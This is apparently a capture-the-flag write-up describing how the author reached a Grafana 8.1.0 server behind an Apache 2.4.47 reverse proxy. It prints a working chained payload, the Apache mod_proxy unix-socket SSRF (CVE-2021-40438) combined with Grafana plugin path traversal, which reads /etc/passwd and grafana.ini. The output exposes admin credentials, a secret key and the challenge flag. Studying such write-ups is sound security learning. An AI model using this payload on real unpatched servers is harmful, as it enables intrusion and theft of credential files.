Web, 500 -> 493 points
No description is good description
- 复读机
Hrm. No description?? Time to look at the title and guess XD
From the given challenge link to a website, we are first presented with a login page to a Grafana instance.
$ curl -I http://challs.nusgreyhats.org:12321/login
HTTP/1.1 302 Found
Date: Sat, 11 Jun 2022 16:52:33 GMT
Server: Apache/2.4.47 (Unix)
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /login
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
After inspecting the server payload with curl
, we see that this is an instance of Grafana 8.1.0 running on Apache 2.4.47
Poking around with different generic paths (e.g. /flag) weren't successful and the credentials used to login could not be found.
Seeing how there is a prompt to update to the latest version, the first thing that came to mind was that there could be a possible vulnerbility in the software at that version.
All we needed to do is to search for Grafana CVEs, and Mitre has a good list of them.
We can then narrow down the search to an unauthenticated attack on the page (since obviously we don't have any valid credentials)
What really stood out was CVE-2021-43813, since it had a more common CTF web theme of LFI.
After digging around for some proof-of-concepts (PoC), we find a good rundown of how the exploit was found here.
Now, we could just simply access some arbituary file on the system?
curl -i --path-as-is http://challs.nusgreyhats.org:12321/public/plugins/mysql/../../../../VERSION
HTTP/1.1 302 Found
Date: Sat, 11 Jun 2022 17:00:05 GMT
Server: Apache/2.4.47 (Unix)
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /login
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Content-Length: 29
Set-Cookie: redirect_to=%2FVERSION; Path=/; HttpOnly; SameSite=Lax
<a href="/login">Found</a>.
$ curl -i --path-as-is http://challs.nusgreyhats.org:12321/public/plugins/mysql/../../../../../VERSION
HTTP/1.1 400 Bad Request
Date: Sat, 11 Jun 2022 17:11:46 GMT
Server: Apache/2.4.47 (Unix)
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>
Nope :C. Didn't appear to work sadly. We also notice that now we are being redirected to /VERSION
despite having more ../
than subdirectories in the URL.
That means something must have been pre-processing the URL before forwarding it to the Graphana instance.
Who else could the culprit be? Apache. Of course.
Seeing how that Apache parses the URL and prevents directory traversal if the path exceeds the root dir, there was no way to get path traversal working.
Trying encoding and other types of ways to bypass detection, did not seem to work as Grafana does not parse them correctly as intended (shown below on a local instance)
$ curl -i --path-as-is http://localhost/public/plugins/mysql/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fVERSION
HTTP/1.1 404 Not Found
Date: Sat, 11 Jun 2022 17:06:54 GMT
Server: Apache/2.4.48 (Unix)
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
Even for requests that made it through, the Grafana instance logs were not looking too good.
INFO[06-07|01:08:39] Request Completed logger=context userId=0 orgId=0 uname= method=GET path=/public/plugins/mysql/..%2f..%2f..%2f..%2f..%2fVERSION status=404 remote_addr=::1 time_ms=0 size=35 referer=
Clearly the path was not resolving correct, compared to the actual one (directly to the local instance) which gives an error if file not found
$ curl -i --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../../VERSION
HTTP/1.1 404 Not Found
Cache-Control: no-cache
Content-Type: application/json; charset=UTF-8
Expires: -1
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Sat, 11 Jun 2022 17:10:48 GMT
Content-Length: 35
{"message":"Plugin file not found"}
EROR[06-12|01:10:48] Plugin file not found logger=context userId=0 orgId=0 uname= error="open /ctf/greyhats/grapache/VERSION: no such file or directory"
Going back to look for Apache CVEs for the particular Apache version, we find a few interesting ones on the list being CVE-2022-26377, CVE-2022-22720, CVE-2021-41773 and CVE-2021-40438.
CVE-2022-26377 was about Possible request smuggling, but there was no public proof-of-concept possible, leaving it to be quite an obsecure CVE. Same thing goes for CVE-2022-22720.
CVE-2021-41773 seemed likely, but we realised that it only affected the cgi-bin or any Apache handled directory. Unfortunately checking the httpd.conf
provided later as hints revealed that the proxy was mounted on /
.
<VirtualHost *>
ServerAdmin webmaster@localhost
DocumentRoot "/usr/local/apache2/htdocs"
ServerName grapache.websec.pw
LogLevel notice proxy:trace8
ErrorLog /proc/self/fd/2
CustomLog /proc/self/fd/1 combined
ProxyPass / "http://grapache_grafana:3000/"
ProxyPassReverse / "http://grapache_grafana:3000/"
</VirtualHost>
That only leaves us with CVE-2021-40438. Searching for PoCs landed us with https://github.com/sixpacksecurity/CVE-2021-40438.
Woohoo!
The Apache CVE allowed us to perform either SSRF or RCE depending how it was used, and we decided to just follow what they tried in the Github POC (so SSRF instead).
Looking at the Apache httpd.conf
will lead us to the local address of the Grafana instance:
Crafting a malicious unix socket payload allows direct redirection of the request to a different server from Apache, and we only needed to connect to the local address of Grafana and find the interesting files.
Full payload and response:
$ curl -i --path-as-is "http://challs.nusgreyhats.org:12321/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://grapache_grafana:3000/public/plugins/mysql/../../../../../../../../etc/passwd"
HTTP/1.1 200 OK
Date: Sat, 11 Jun 2022 17:30:39 GMT
Server: Apache/2.4.47 (Unix)
Accept-Ranges: bytes
Cache-Control: no-cache
Content-Length: 1230
Content-Type: text/plain; charset=utf-8
Expires: -1
Last-Modified: Thu, 05 Aug 2021 13:35:31 GMT
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
Trying out the payload we were able to get the VERSION
as well as /etc/passwd
. Unfortunately the flag was nowhere to be found.
The hints provided were of great benefit, telling us that there was a grafana.ini
file uploaded. We would just need to obtain that and see what we have.
After retrieving and opening the config file, we immediately see the credentials for the web service available for us.
[security]
# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false
# default admin user, created on startup
admin_user = grey_user
# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = grey_passsssssss
# used for signing
secret_key = SW2YcwTIb9zpOOhoPsMoiID9fd
Hoho! That was where time was wasted when we thought the flag would be on the instance (wasted a good few minutes).
Apparently, the flag was in grafana.ini
all along, but commented so it was hard to see.
Flag: grey{55rf_w17h_vuln_4p4ch3_847cc276557e198b}
- Finding the 2 CVEs (especially the apache one) was the hard part, after that it was just the matter of finding the correct payload and solving
- The hints for the challenge seemed rather essential for some parts, without it definitely would have been slighter more challenging and clueless, next time should just include, thanks admins!
- Very sneaky of the author to hide the flag in the config, what caught the eye first was the credentials to log in to the instance